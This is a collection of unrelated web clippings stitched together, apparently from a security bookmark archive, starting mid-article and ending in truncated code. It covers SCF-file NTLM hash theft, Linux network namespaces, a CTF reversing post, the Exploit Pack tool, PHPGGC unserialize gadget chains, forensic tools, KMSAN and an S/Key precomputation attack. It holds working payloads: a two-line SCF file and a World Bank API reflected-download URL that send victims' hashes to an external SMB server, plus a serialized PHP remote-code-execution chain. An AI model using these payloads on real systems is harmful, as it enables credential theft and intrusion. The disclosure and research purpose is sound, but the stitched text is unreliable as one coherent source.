looked like:

`[Shell]  
Command=2  
IconFile=explorer.exe,3`

\[Taskbar\]  
Command=ToggleDesktop

As with Windows shortcut LNK files, the icon location is automatically
resolved when the file is shown in Explorer. Setting an icon location to a
remote SMB server is a known attack vector that abuses the Windows automatic
authentication feature when accessing services like remote file shares. But
what is the difference between LNK and SCF from the attack standpoint? Chrome
sanitizes LNK files by forcing a _.download_ extension ever since Stuxnet but
does not give the same treatment to SCF files.

SCF file that can be used to trick Windows into an authentication attempt to a
remote SMB server contains only two lines, as shown in the following example:

`[Shell] IconFile=\\170.170.170.170\icon`

Once downloaded, the request is triggered **the very moment the download
directory is opened** in Windows File Explorer to view the file, delete it or
work with other files \(which is pretty much inevitable\). **There is no need
to click or open the downloaded file – Windows File Explorer will
automatically try to retrieve the “icon “.**

The remote SMB server set up by the attacker is ready to capture the victim’s
username and NTLMv2 password hash for offline cracking or relay the connection
to an externally available service that accepts the same kind of
authentication \(e.g. Microsoft Exchange\) to impersonate the victim without
ever knowing the password. The captured information may look like the
following:

`[*] SMB Captured - 2017-05-15 13:10:44 +0200  
NTLMv2 Response Captured from 173.203.29.182:62521 - 173.203.29.182  
USER:Bosko DOMAIN:Master OS: LM:  
LMHASH:Disabled  
LM_CLIENT_CHALLENGE:Disabled  
NTHASH:98daf39c3a253bbe4a289e7a746d4b24
NT_CLIENT_CHALLENGE:01010000000000000e5f83e06fcdd201ccf26d91cd9e326e0000000002000000000000
0000000000  
Bosko::Master:1122334455667788:98daf39c3a253bbe4a289e7a746d4b24:01010000000000000e5f83e06f
cdd201ccf26d91cd9e326e00000000020000000000000000000000`

The above example shows a disclosure of victim’s username, domain and NTLMv2
password hash.

It is worth mentioning that SCF files will appear extensionless in Windows
Explorer regardless of file and folder settings. Therefore, file named
picture.jpg.scf will appear in Windows Explorer as picture.jpg. This adds to
inconspicuous nature of attacks using SCF files.

### Impact

#### Password disclosure

For users in Active Directory domains \(corporate, government and other
networks\), password disclosure can have various impacts ranging from
escalating internal network breaches to accessing externally available NTLM-
enabled services and breaches based on password reuse.  
For Windows 8/10 users that are using a Microsoft Account \(MSA\) instead of a
local account, the password disclosure impacts all the Microsoft services that
are integrated with the MSA SSO such as OneDrive, Outlook.com, Office 365,
Office Online, Skype, Xbox Live and others. The common problem of password
reuse can lead to more account breaches unrelated to MSA.

Regarding password cracking feasibility, this improved greatly in the past few
years with GPU-based cracking. NetNTLMv2 hashcat benchmark for a single Nvidia
GTX 1080 card is around 1600 MH/s. That’s 1.6 billion hashes per second. For
an 8-character password, GPU rigs of 4 such cards can go through an entire
keyspace of upper/lower alphanumeric + most commonly used special characters
\(\!@\#$%&\) in less than a day. With hundreds of millions leaked passwords
resulted from several breaches in the past years \(LinkedIn, Myspace\),
wordlist rule-based cracking can produce surprising results against complex
passwords with more entropy.

The situation is even worse for Windows XP systems and networks where
backwards compatibility with NTLMv1 has been explicitly enabled. In those
cases, a downgrade attack can be performed forcing the client to authenticate
with a weaker hash/protocol \(such as NTLMv1 or even LM\) instead of NTLMv2.
This enables the attacker to capture a hash which can be cracked many times
faster than NTLMv2 – in the case of LM often within seconds using precomputed
tables for reversing cryptographic hash functions \(“Rainbow tables”\).

#### SMB relay attacks

Organizations that allow remote access to services such as Microsoft Exchange
\(Outlook Anywhere\) and use NTLM as authentication method, may be vulnerable
to SMB relay attacks, allowing the attacker to impersonate the victim,
accessing data and systems without having to crack the password. This was
successfully demonstrated by Jonathan Brossard at the Black Hat security
conference.

Under certain conditions \(external exposure\) an attacker may even be able to
relay credentials to a domain controller on the victim’s network and
essentially get an internal access to the network.

#### Antivirus Handling of SCF

Naturally, when a browser fails to warn on or sanitize downloads of
potentially dangerous file types, one relies on security solutions to do that
work instead. We tested several leading antivirus solutions by different
vendors to determine if any solution will flag the downloaded file as
dangerous.

All tested solutions failed to flag it as anything suspicious, which we hope
will change soon. SCF file analysis would be easy to implement as it only
requires inspection of IconFile parameter considering there are no legitimate
uses of SCF with remote icon locations.

### Introducing new attack vectors

Although using social engineering to entice the victim to visit the attacker’s
website as well as open redirection and cross site scripting vulnerabilities
on trusted websites are the most common attack vectors to deliver malicious
files, for this attack I would like to add an often disregarded and lesser
known vulnerability that could serve the same purpose, hoping it would bring
attention to its impact.

#### Reflected file download

First described by Oren Hafif, the Reflected File Download vulnerability
occurs when a specially crafted user input is reflected in the website
response and downloaded by the user’s browser when the certain conditions are
met. It was initially used as an attack vector to trick the user into running
malicious code \(usually from a Windows batch file\), based on the user’s
trust in the vulnerable domain.

Since SCF format is rather simple and our attack requires only two lines that
can be preceded and followed by \(almost\) anything, it creates perfect
conditions to be used with RFD.

RFD is usually aimed at RESTful API endpoints as they often use permissive URL
mapping, which allows for setting the extension of the file in the URL path.
Chrome will not download most of typical API response content types directly
so these would have to be forced through a _download_ attribute in _a href=…_
link tags. However, there are exceptions. Chrome uses MIME-sniffing with
_text/plain_ content type and if the response contains a non-printable
character it will be downloaded as a file directly and automatically unless
the “nosniff” directive is set.

This can be demonstrated on World Bank API, using the following URL:

`http://api.worldbank.org/v2/country/indicator/iwantyourhash.scf?prefix=  
%0A[Shell]%0AIconFile=\\170.170.170.170\test%0Alol=%0B&format=jsonp`

Due to the non-printable character %0B Chrome will download the response as
_iwantyourhash.scf_ file. The moment the download directory containing the
file is opened Windows will try to authenticate to the remote SMB server,
disclosing the victim’s authentication hashes.

Due to the non-printable character _%0B_ Chrome will download the response as
iwantyourhash.scf file. The moment the download directory containing the file
is opened Windows will try to authenticate to the remote SMB server,
disclosing the victim’s authentication hashes.

### Recommendations

In order to disable automatic downloads in Google Chrome, the following
changes should be made: _Settings - > Show advanced settings ->_ Check the
_Ask where to save each file before downloading_ option. Manually approving
each download attempt significantly decreases the risk of NTLMv2 credential
theft attacks using SCF files.

As SCF files still pose a threat the measures that need to be taken depend on
affected users network environment and range from simple host level hardening
and configuring perimeter firewall rules to applying additional security
measures such as SMB packet signing and Extended Protection. With the first
two the goal is to prevent SMB traffic from leaving the corporate environment
by blocking ports that can be used to initiate a connection with a potentially
malicious Internet-based SMB server. When possible, SMB traffic should always
be restricted to private networks.

### Conclusion

Currently, the attacker just needs to entice the victim \(using fully updated
Google Chrome and Windows\) to visit his web site to be able to proceed and
reuse victim’s authentication credentials. Even if the victim is not a
privileged user \(for example, an administrator\), such vulnerability could
pose a significant threat to large organisations as it enables the attacker to
impersonate members of the organisation. Such an attacker could immediately
reuse gained privileges to further escalate access and perform attacks on
other users or gain access and control of IT resources.

We hope that the Google Chrome browser will be updated to address this flaw in
the near future.

  

# SecurityXploded Forum • View topic - SEH Exploit Writing Tutorial Using
OllyDbg

**Created:**| _5/2/2011 7:35:41 PM_  
---|---  
**Updated:**| _5/2/2011 7:35:41 PM_  
**Author:**| __  
**Tags:**| _bookmark_  
  

  * Forum | 
  * Website | 
  * Blog | 
  * Security Tools | 
  * Research |

# Introducing Linux Network Namespaces · Scott's Weblog · The weblog of an IT
pro specializing in virtualization, networking, open source, and cloud
computing

**Created:**| _1/27/2016 10:27:16 AM_  
---|---  
**Updated:**| _1/27/2016 10:27:16 AM_  
**Author:**| __  
**Tags:**| __  
  

# Introducing Linux Network Namespaces

4 September 2013

In this post, I’m going to introduce you to the concept of Linux network
namespaces. While it might seem a bit esoteric right now, trust me that there
is a reason why I’m introducing you to network namespaces—if you, like me, are
on a journey to better understand OpenStack, you’ll almost certainly run into
network namespaces again.

So what are network namespaces? Generally speaking, an installation of Linux
shares a single set of network interfaces and routing table entries. You can
modify the routing table entries using policy routing \(here’s an introduction
I wrote and here’s a write-up on a potential use case for policy routing\),
but that doesn’t fundamentally change the fact that the set of network
interfaces and routing tables/entries are shared across the entire OS. Network
namespaces change that fundamental assumption. With network namespaces, you
can have different and separate instances of network interfaces and routing
tables that operate independent of each other.

This concept is probably best illustrated through some examples. Along the
way, I’ll introduce a few new ideas as well. First, though, I need to provide
some assumptions.

## Assumptions

Throughout these examples, I’m using Ubuntu Server 12.04.3 LTS. Please note
that support for network namespaces varies between Linux distributions; Ubuntu
supports them but Red Hat doesn’t. \(I’m not sure about Fedora. If you know,
speak up in the comments.\) If you’re thinking about using network namespaces,
be sure your Linux distribution includes support.

Further, I’ll assume that you’re either running as root, or that you will
prepend `sudo` to the commands listed here as necessary.

## Creating and Listing Network Namespaces

Creating a network namespace is actually quite easy. Just use this command:

[code]

    ip netns add <new namespace name>
    
[/code]

For example, let’s say you wanted to create a namespace called “blue”. You’d
use this command:

[code]

    ip netns add blue
    
[/code]

To verify that the network namespace has been created, use this command:

[code]

    ip netns list
    
[/code]

You should see your network namespace listed there, ready for you to use.

## Assigning Interfaces to Network Namespaces

Creating the network namespace is only the beginning; the next part is to
assign interfaces to the namespaces, and then configure those interfaces for
network connectivity. One thing that threw me off early in my exploration of
network namespaces was that you couldn’t assign physical interfaces to a
namespace. How in the world were you supposed to use them, then?

It turns out you can only assign virtual Ethernet \(veth\) interfaces to a
network namespace. Virtual Ethernet interfaces are an interesting construct;
they always come in pairs, and they are connected like a tube—whatever comes
in one veth interface will come out the other peer veth interface. As a
result, you can use veth interfaces to connect a network namespace to the
outside world via the “default” or “global” namespace where physical
interfaces exist.

Let’s see how that’s done. First, you’d create the veth pair:

[code]

    ip link add veth0 type veth peer name veth1
    
[/code]

I found a few sites that repeated this command to create `veth1` and link it
to `veth0`, but my tests showed that both interfaces were created and linked
automatically using this command listed above. Naturally, you could substitute
other names for `veth0` and `veth1`, if you wanted.

You can verify that the veth pair was created using this command:

[code]

    ip link list
    
[/code]

You should see a pair of veth interfaces \(using the names you assigned in the
command above\) listed there. Right now, they both belong to the “default” or
“global” namespace, along with the physical interfaces.

Let’s say that you want to connect the global namespace to the blue namespace.
To do that, you’ll need to move one of the veth interfaces to the blue
namespace using this command:

[code]

    ip link set veth1 netns blue
    
[/code]

If you then run the `ip link list` command again, you’ll see that the veth1
interface has disappeared from the list. It’s now in the blue namespace, so to
see it you’d need to run this command:

[code]

    ip netns exec blue ip link list
    
[/code]

Whoa\! That’s a bit of a complicated command. Let’s break it down:

  * The first part, `ip netns exec`, is how you execute commands in a different network namespace.
  * Next is the specific namespace in which the command should be run \(in this case, the blue namespace\).
  * Finally, you have the actual command to be executed in the remote namespace. In this case, you want to see the interfaces in the blue namespace, so you run `ip link list`.

When you run that command, you should see a loopback interface and the veth1
interface you moved over earlier.

## Configuring Interfaces in Network Namespaces

Now that veth1 has been moved to the blue namespace, we need to actually
configure that interface. Once again, we’ll use the `ip netns exec` command,
this time to configure the veth1 interface in the blue namespace:

[code]

    ip netns exec blue ifconfig veth1 10.1.1.1/24 up
    
[/code]

As before, the format this command follows is:

[code]

    ip netns exec <network namespace> <command to run against that namespace>
    
[/code]

In this case, you’re using `ifconfig` to assign an IP address to the veth1
interface and bring that interface up. \(Note: you could use the `ip addr`,
`ip route`, and `ip link` commands to accomplish the same thing.\)

Once the veth1 interface is up, you can verify that the network configuration
of the blue namespace is completely separate by just using a few different
commands. For example, let’s assume that your “global” namespace has physical
interfaces in the 172.16.1.0/24 range, and your veth1 interface is in a
separate namespace and assigned something from the 10.1.1.0/24 range. You
could verify how network namespaces keep the network configuration separate
using these commands:

  * `ip addr list` in the global namespace will not show _any_ 10.1.1.0/24-related interfaces or addresses.
  * `ip netns exec blue ip addr list` will show _only_ the 10.1.1.0/24-related interfaces and addresses, and will not show any interfaces or addresses from the global namespace.
  * Similarly, `ip route list` in each namespace will show different routing table entries, including different default gateways.

## Connecting Network Namespaces to the Physical Network

This part of it threw me for a while. I can’t really explain why, but it did.
Once I’d figured it out, it was obvious. To connect a network namespace to the
physical network, _just use a bridge._ In my case, I used an Open vSwitch
\(OVS\) bridge, but a standard Linux bridge would work as well. Place one or
more physical interfaces as well as one of the veth interfaces in the bridge,
and—bam\!—there you go. Naturally, if you had different namespaces, you’d
probably want/need to connect them to different physical networks or different
VLANs on the physical network.

So there you go—an introduction to Linux network namespaces. It’s quite likely
I’ll build on this content later, so while it seems a bit obscure right now
just hang on to this knowledge. In the meantime, if you have questions,
clarifications, or other information worth sharing with other readers, please
feel free to speak up in the comments.

Tags: CLI · Linux · Networking Previous Post: Technology Short Take \#35 Next
Post: Vendor Meetings at VMworld 2013

Be social and share this post\!

# NTCore's Homepage

**Created:**| _7/2/2009 10:20:40 PM_  
---|---  
**Updated:**| _7/2/2009 10:20:51 PM_  
**Author:**| __  
**Tags:**| _windows_  
  
**Current Version: III \(13/06/2009\)**| **Download the Explorer Suite**  
---|---  
  
Created by Daniel Pistelli, a freeware suite of tools including a PE editor
called CFF Explorer and a process viewer. The PE editor has full support for
PE32/64. Special fields description and modification \(.NET supported\),
utilities, rebuilder, hex editor, import adder, signature scanner, signature
manager, extension support, scripting, disassembler, dependency walker etc.
First PE editor with support for .NET internal structures. Resource Editor
\(Windows Vista icons supported\) capable of handling .NET manifest resources.
The suite is available for x86, x64 and Itanium.  
  
\- Explorer Suite \(Multi-Platform Version, Recommended\)  
\- Explorer Suite \(x86 Version\)  
\- CFF Explorer \(x86 Version, stand-alone, Zip Archive\)  

# Fast sets of integers

**Created:**| _11/18/2012 8:18:22 AM_  
---|---  
**Updated:**| _11/18/2012 8:18:22 AM_  
**Author:**| __  
**Tags:**| _C++ programming performance_  
  

# Fast sets of integers

Maintaining a set of integers is a common problem in programming. It can also
be implemented in many different ways.

Maybe the most common implementation uses a hashing \(henceforth hashset\): it
provides optimal expected-time complexity. That is, we expect that it takes a
constant time to add or remove an integer \(O\(1\)\), and it takes a time
proportional to the cardinality of the set to iterate through the elements.
For this purpose, Java provides the HashSet class.

An alternative implementation is the bitset: essentially, it is an array of
boolean values. It ensures that adding and removing integers takes a constant
time. However, iterating through the elements could be less than optimal: if
your universe contains _N_ integers, it may take a time proportional to _N_ to
enumerate the integers irrespective of the number of integers in the set.

So, suppose you expect to have 1000 integers in the range from 0 to _N_. Which
data structure is best? The hashset or the bitset? Clearly, if _N_ is
sufficient large, the hashset will be best. But how large must _N_ be?

I decided to implement a quick test to determine the answer. Instead of using
the standard Java BitSet, I decided to write my own bitset \(henceforth
StaticBitSet\) that is faster in my tests. For the hashset, I compared both
the standard HashSet and TIntHashSet and found that there was little
difference in performance in my tests, so I report just the results with the
standard HashSet \(from the OpenJDK 7\).

The following table reports the speed in millions of elements per second for
adding, removing and iterating through 1000 elements in the range from 0 to N.

N |  bitset |  hashset   
---|---|---  
100,000| 77 | 18  
1,000,000| 45 | 19  
10,000,000| 11 | 18  
These numbers are consistent with the theory. The speed of the hashset data
structure is relatively independent from _N_ whereas the performance of the
bitset degrades as _N_ increases. However, what might be surprising, is how
large _N_ needs to be before the bitset is beaten. The bitset only starts
failing you \(in this particular test\) when the ratio of the size of the
universe to the size of the set exceeds 1,000.

The bitset data structure is more generally applicable than you might think.

**Source** : My Java source code is available, as usual.

**Further reading** : In to Sorting is fast and useful, I showed that binary
search over sorted array of integers could be a competitive way to test
whether a value belongs to a set.

# HITB 2011 CTF – Reversing Vectored Exception Handling \(VEH\) | Corelan Team
**Created:**| _4/3/2011 2:53:18 PM_  
---|---  
**Updated:**| _4/3/2011 2:53:37 PM_  
**Author:**| __  
**Tags:**| _Debugging Exploit ctf Tutorials programming awesome veh_  
  

## HITB 2011 CTF – Reversing Vectored Exception Handling \(VEH\)

Published April 3, 2011 | <img src='img/Temp2_3546.png' width='18' height='18' />By Corelan Team \(fancy\)
### Introduction

Today we will have a look at a CTF binary from HITB pre qualifications CTF
2011:

http://conference.hackinthebox.org/hitbsecconf2011ams/?p=1333

This is an interesting binary to reverse because Vectored Exception Handling
\(VEH\) was used in the challenge. As this was new to me, I documented how it
works and wanted to share a short reversing write-up of the binary.

You can download the binary \(windows\_challenge.exe\) here

Thanks to skier\_ and the HITB crew for generating such an awesome CTF binary.

Come along………..and enjoy\!

Fancy

Note: I used windows XP SP3 so maybe the addresses here in this video may
differ from the addresses on your box.

### Video

You can watch a full screen version here or download the video here

### Interesting links:

http://msdn.microsoft.com/en-us/magazine/cc301714.aspx  
http://msdn.microsoft.com/en-us/library/ms681420%28v=vs.85%29.aspx  
http://msdn.microsoft.com/en-us/library/ms679274%28v=vs.85%29.aspx

  

  *[April 3, 2011]: 10:41

# Exploit Pack

**Created:**| _1/12/2015 11:34:06 PM_  
---|---  
**Updated:**| _1/12/2015 11:34:06 PM_  
**Author:**| __  
**Tags:**| __  
  

# Exploit Pack

## Point, Click, Root.

More than 300+ exploits\! Presented in Black Hat 2014

<img src='img/Temp2_2921.jpg' />

## More than 300+ exploits

Military grade professional security tool

Exploit Pack comes into the scene when you need to execute a pentest in a real
environment, it will provide you with all the tools needed to gain access and
persist by the use of remote reverse agents.

<img src='img/Temp2_2920.jpg' />

## Remote Persistent Agents

Reverse a shell and escalate privileges

Exploit Pack will provide you with a complete set of features to create your
own custom agents, you can include exploits or deploy your own personalized
shellcodes directly into the agent.

<img src='img/Temp2_2922.jpg' />

## Write your own Exploits

Use Exploit Pack as a learning platform

Quick exploit development, extend your capabilities and code your own custom
exploits using the Exploit Wizard and the built-in Python Editor moded to
fullfill the needs of an Exploit Writer.

# PHP Generic Gadget Chains: Exploiting unserialize in unknown environments

**Created:**| _7/17/2017 11:28:11 AM_  
---|---  
**Updated:**| _7/17/2017 11:42:43 AM_  
**Author:**| __  
**Tags:**| _php_  
  

  

04

July, 2017

  * Posted By Charles Fol

  * php exploit vulnerability unserialize library gadget

<img src='img/Temp2_6012.png' alt='Full Article' />

The state of unserialize\(\)

  

The use of unserialize\(\) with unsafe input has been for years a very present
vulnerability, and many CMS or frameworks have refrained from using it in
favor of the safer json\_decode\(\). Nevertheless, it is still very present,
especially in custom-made websites. However, its exploitation can be tricky if
the code is not known.

  

Finding gadgets in the dark

  

For a pentester, upon discovering a way to unserialize data, the problem lies
in finding correct gadgets. If the code is unknown, one has to resort to using
a binary exploit, which can be, while doable, very time-consuming.

  

More and more, nonetheless, web developers choose to use frameworks and/or
libraries instead of coding everything from scratch. Examples include Laravel,
Symfony, Zend, Code Igniter for frameworks or Monolog, SwiftMailer for
libraries.

  

Combined with the fact that the autoload mechanism is often used, and that
dependencies can be detected \(e.g. through composer.json\), successfully
exploiting unserialize\(\) in unknown environments just resides in building
payloads from gadgets extracted from common libraries. If no library can be
identified, testing payloads one-by-one is still an option.

  

Building a gadget library

  

Therefore, it is of common interest to build a gadget chain library, similarly
of Java's ysoserial. We took the time to study _every major PHP
framework/library_ , and managed to build _RCE or file write gadget chains_
for all of them.

  

Enters PHPGGC \(PHP Generic Gadget Chains\): _a library of unserialize\(\)
payloads along with a tool to generate them, from command line or
programmatically_. One just needs to select a gadget chain, specify the
command \(s\)he wants to run, and the payload is displayed by the tool.

  

We already populated it with payloads for last versions of:

  * Laravel
  * Symfony
  * SwiftMailer
  * Monolog
  * SlimPHP
  * Doctrine
  * Guzzle

You can list payloads by using:

  

$ ./phpggc -l  
  
Gadget Chains  
\-------------  
  
\[...\]  
  
Name          : Guzzle/FW1  
Version        : 6.0.0 <= 6.3.0  
Type          : file\_write  
Vector        : \_\_destruct  
  
Name          : Laravel/RCE1  
Version        : 5.4.27  
Type          : rce  
Vector        : \_\_destruct  
  
Name          : Monolog/RCE1  
Version        : 1.18 <= 1.23  
Type          : rce  
Vector        : \_\_destruct  
  
Name          : Monolog/RCE2  
Version        : 1.5 <= 1.17  
Type          : rce  
Vector        : \_\_destruct  
  
Name          : Slim/RCE1  
Version        : 3.8.1  
Type          : rce  
Vector        : \_\_toString  
  
Name          : SwiftMailer/FW1  
Version        : 5.1.0 <= 5.4.8  
Type          : file\_write  
Vector        : \_\_toString  
  
\[...\]  
  
  

  

And generate them like so:

  

$ ./phpggc slim/rce1 'phpinfo\(\);'  
O:18:"Slim\Http\Response":2:\{s:10:"\*headers";O:8:"Slim\App":1:\{s:19:"Slim\Appcontainer";O:14:"Slim\Container":3:\{s:21:"Pimple\Containerraw";a:1:\{s:3:"all";a:2:\{i:0;O:8:"Slim\App":1:\{s:19:"Slim\Appcontainer";O:8:"Slim\App":1:\{s:19:"Slim\Appcontainer";O:14:"Slim\Container":3:\{s:21:"Pimple\Containerraw";a:1:\{s:3:"has";s:6:"assert";\}s:24:"Pimple\Containervalues";a:1:\{s:3:"has";s:6:"assert";\}s:22:"Pimple\Containerkeys";a:1:\{s:3:"has";s:6:"assert";\}\}\}\}i:1;s:10:"phpinfo\(\);";\}\}s:24:"Pimple\Containervalues";a:1:\{s:3:"all";a:2:\{i:0;r:6;i:1;s:10:"phpinfo\(\);";\}\}s:22:"Pimple\Containerkeys";a:1:\{s:3:"all";a:2:\{i:0;r:6;i:1;s:10:"phpinfo\(\);";\}\}\}\}s:7:"\*body";s:0:"";\}  
  
  

  

The tool comes with a lot of other options; please refer to the README.md file
for more informations. PHPGGC has been made so that building your own gadget
chains is easy and straightforward, and _you can contribute by issuing pull
requests_ , and give us feedback/report bugs using tickets.

  

Now, let's jump to an example to explain the tool's usage.

  

Example: Exploiting Piwik's latest Object Injection vulnerability

  

Early in August last year, Egidio Romano discovered a vulnerability in Piwik
<= 2.16.0 allowing to call unserialize\(\). Nevertheless, no payload was
given. _Piwik uses Symfony, Zend, and Monolog_ , making it easy to build a
valid payload.

  

We here elect to use a Monolog payload by running the following command line:

  

<img src='img/Temp2_6013.png' alt='Payload' />

And, when submitted at the right place, we obtain:

  

<img src='img/Temp2_6014.png' alt='Result' />

You can find PHPGGC on GitHub here.

  

# Eric Zimmerman's Tools

**Created:**| _5/23/2017 12:58:22 PM_  
---|---  
**Updated:**| _5/23/2017 12:58:22 PM_  
**Author:**| __  
**Tags:**| _bookmark Forensics_  
  

  

Forensic Tools |  Other   
---|---  
LECmd Version 0.9.6.0 |  Hasher Version 1.8.0.0  
PECmd Version 0.9.0.0 |  TimeApp  
JLECmd Version 0.9.9.0 |  XWFIM  
bstrings Version 1.2.0.0 |  iisGeoLocate Version 1.3.0.0  
Registry Explorer/RECmd Version 0.9.0.0 |   
ShellBags Explorer Version 0.9.0.0 |   
AppCompatCacheParser Version 0.9.7.0 |   
AmcacheParser Version 0.9.1.0 |   
JumpList Explorer Version 0.4.0.0 |   
Timeline Explorer Version 0.5.0.0 |   
### All software requires at least Microsoft .net 4.6.

## You will get errors running these without 4.6. When in doubt, install it\!

  

### You may not be able to download things using Internet Explorer. Use Chrome
or Firefox instead\!

  

### Any anti-virus hits are false positives and the warnings can be ignored.

  

### If you get DPI scaling issues, make a shortcut, edit the properties, and
disable DPI scaling under Compatibility

  
  

  

# google/kmsan

**Created:**| _5/12/2017 1:05:55 PM_  
---|---  
**Updated:**| _5/12/2017 1:05:55 PM_  
**Author:**| __  
**Tags:**| _Linux mitigations_  
  

  

###  README.md

# KMSAN \(KernelMemorySanitier\)

` KMSAN ` is a detector of uninitialized memory use for the Linux kernel. It
is currently in development.

Contact: ramosian-glider@

## Code

  * The kernel branch with KMSAN patches is available at https://github.com/google/kmsan
  * Patches for LLVM r298239: LLVM patch, Clang patch
  * Clang wrapper: https://github.com/google/kmsan/blob/master/clang\_wrapper.py

## How to build

In order to build a kernel with KMSAN you'll need a custom Clang built from a
patched tree on LLVM r298239.

[code]

    export WORLD=`pwd`
    
[/code]

### Build Clang

[code]

    R=298239
    svn co -r $R http://llvm.org/svn/llvm-project/llvm/trunk llvm
    cd llvm
    (cd tools && svn co -r $R http://llvm.org/svn/llvm-project/cfe/trunk clang)
    (cd projects && svn co -r $R http://llvm.org/svn/llvm-project/compiler-rt/trunk compiler-rt)
    wget https://raw.githubusercontent.com/google/kmsan/master/kmsan-llvm.patch
    patch -p0 -i kmsan-llvm.patch
    # Apply a patch fixing https://bugs.llvm.org/show_bug.cgi?id=32842
    wget https://reviews.llvm.org/file/data/sktw7c6s7lpz7ah3p6ib/PHID-FILE-v75mhkvsosaxnkl55lki/D32915.diff
    patch -p0 -i D32915.diff
    wget https://raw.githubusercontent.com/google/kmsan/master/kmsan-clang.patch
    (cd tools/clang && patch -p0 -i ../../kmsan-clang.patch)
    mkdir llvm_cmake_build && cd llvm_cmake_build
    cmake -DCMAKE_BUILD_TYPE=Release -DLLVM_ENABLE_ASSERTIONS=ON ../
    make -j64 clang
    export KMSAN_CLANG_PATH=`pwd`/bin/clang
    
[/code]

### Configure and build the kernel

[code]

    cd $WORLD
    git clone https://github.com/google/kmsan.git kmsan
    cd kmsan
    # Now configure the kernel. You basically need to enable CONFIG_KMSAN and CONFIG_KCOV,
    # plus maybe some 9P options to interact with QEMU.
    cp .config.example .config
    # Note that clang_wrapper.py expects $KMSAN_CLANG_PATH to point to a Clang binary!
    make CC=`pwd`/clang_wrapper.py -j64 -k 2>&1 | tee build.log
    
[/code]

### Run the kernel

You can refer to https://github.com/ramosian-glider/clang-kernel-build for the
instructions on running the freshly built kernel in a QEMU VM. Also consider
running a KMSAN-instrumented kernel under syzkaller.

## Trophies

  * ` tmp.b_page ` uninitialized in ` generic_block_bmap() `
    * Writeup: https://github.com/google/kmsan/blob/master/kmsan-first-bug-writeup.txt
    * Status: taken to the ext4 tree \(according to Ted Ts'o\), upstream fix pending
  * ` strlen() ` called on non-terminated string in ` bind() ` for ` AF_PACKET `
    * Status: fixed upstream
  * too short socket address passed to ` selinux_socket_bind() `
    * Status: reported upstream
  * uninitialized ` msg.msg_flags ` in ` recvfrom ` syscall
    * Status: fixed upstream
  * incorrect input length validation in nl\_fib\_input\(\)
    * Status: fixed upstream by Eric Dumazet
  * uninitialized ` sockc.tsflags ` in udpv6\_sendmsg\(\)
    * Status: fixed upstream
  * incorrect input length validation in packet\_getsockopt\(\)
    * Status: fixed upstream

  

# S/Key Dungeon Attack

**Created:**| _10/29/2013 9:34:03 AM_  
---|---  
**Updated:**| _10/29/2013 9:34:03 AM_  
**Author:**| __  
**Tags:**| _crypto random_  
  

RFC2289 defines a one-time password system based on a chain of hashes. It is
based on S/Key released as RFC1760 by Bellcore, and has found it's way into
many Unix-like distributions. It is still recommended in the  FreeBSD security
guide

Let's start with a quick description of the S/Key OTP protocol.

An OTP Client does this:

[code]

     
[/code]

[code]

    OTP(0) = H(seed + passphrase)
    OTP(1) = H(OTP(0))
    OTP(n) = H(OTP(n-1))
    
[/code]

What this basically means is that the seed and passphrase are hashed with a
one-way cryptographic hash function to produce ___sequence zero_ , which is
then hashed a number of times - this number is called the ___sequence_. When
you initialise your otp chain \(or change passwords\), you give a copy of
sequence 500 \(for example - it can be any positive number\) to the server.
When you want to login for the first time after that you send sequence 499.

An OTP Server does this:

[code]

     
[/code]

[code]

    if H(client ___otp) == retrieve(previous_ otp):
        store(client_otp)
        return Success
    
[/code]

Which is to say that the server hashes the OTP provided by the client, and
compares it to the OTP stored in the database from the last login. On a
successful match, the server replaces the stored OTP with the one provided by
the client and allows the login to proceed.

<img src='https://miknet.net/assets/skey-hash-folding.png' />

The function ` ``H()` is defined as being MD4, MD5 or SHA-1, but ___folded_
into 64 bits with the XOR operation.

Normally when hashing a password, a salt is used to increase the storage
requirements for precomputed hash values and hides from an attacker that
multiple users have chosen the same password.

While S/Key includes a salt in the first round \(sequence zero\) which
strengthens it against dictionary attacks and prevents the chain from
repeating should somebody reuse a password, it doesn't include the seed in
each round. Combined with the somewhat small 64-bit hash functions this opens
S/Key up to a practical time-space trade-off.

Calculating 2 64 key/value pairs would still take longer than the time between
logins for most users on a system. Storing 2 64 key/value pairs \(eg. an
ordered table of 2 64 values\) is still fairly large, even by today's
standards. But with this OTP scheme there's a way to easily compress the
storage for a pre-computed attack.

Say you were happy to store 2 48 64-bit key/value pairs on disk, you could
store each OTP sequence 2 16 of an arbitrary value. This would cover most of
the 64-bit space \(you will lose some coverage due to collisions and
overlapping sequences. Shorter sequences mean less collisions\). Assuming 32
bytes per hash \(including indexing overhead\), that would require 35TB of
storage, plus enough CPU/GPU time to once-off calculate 2 64 values. Storing
less will result in having a smaller probability of breaking the intercepted
OTP - you'll just need to intercept more to get a break.

<img src='https://miknet.net/assets/skey-dungeon-attack-precalc.png' />

When you intercept an OTP, check if it is in the table. If so, you simply need
to hash your original value 2 16-1 times \(sticking with our example numbers
from before\) and you have an OTP that will work. In fact at that point you
could probably log in 65535 times if the server isn't keeping an eye on the
sequence number.

If you didn't find the hash on your first try then not all is lost - simply
hash the intercepted OTP and check if that's in the table. If so then you hash
the value in your table 2 16-2 times. You can repeat this process up to 2 16-1
times before giving up.

<img src='https://miknet.net/assets/skey-dungeon-attack-postintercept.png' />

You can trade off time vs space almost arbitrarily with this attack, although
it still assumes that you're willing to pre-compute 2 64 values. Keep in mind
that storing excessively large chains will result in convergence. I found 2 16
is a good value, and 2 28 is extremely convergent.

I've added some code to  GitHub for anyone wishing to try out this technique.
Please let me know how you go.

Loopy Contruction

    
     OTPs chains are similar to the OFB block-cipher mode and shares it's interesting failure modes. There may be some chains of OTPs which contain a loop - the extreme example being one that hashes to itself. In this case, an attacker could use your OTP enough times that it resets itself and you'd never know somebody had stolen your credentials. I haven't found an example of this, but it could exist in theory. 
Extended Responses

    
     The init-hex and init-words OTP extended responses \(RFC2243\) are evil. If somebody did break your OTP the extended responses could be used to reset your OTP back to where it was, and unless somebody's closely monitoring the log files you'd probably never notice it. If you must support these make sure that you do it over a secure connection and you notify out-of-band that the init sequence was used \(eg. via email or SMS\). 
Easy Fix

    
     The fix for the OTP protocol would be to include the seed and sequence in each round. A larger hash and using a KDF for sequence zero wouldn't hurt either. 
Client-only stretching

    
     You could imitate a KDF by picking an insanely high sequence number. This would only impose extra stress on the client \(and a dictionary attacker\) - the server wouldn't notice 
##

## Examination of a break:

Included below is some code that examines a collision I found using this
technique:

[code]

     
[/code]

[code]

      #!/usr/bin/python3
     
     from  binascii  import  a2b_hex  as  unhex ,  b2a_hex  as  mkhex
     import  hashlib
     import  numpy
     
     # Grab the cotpmd5 module from:
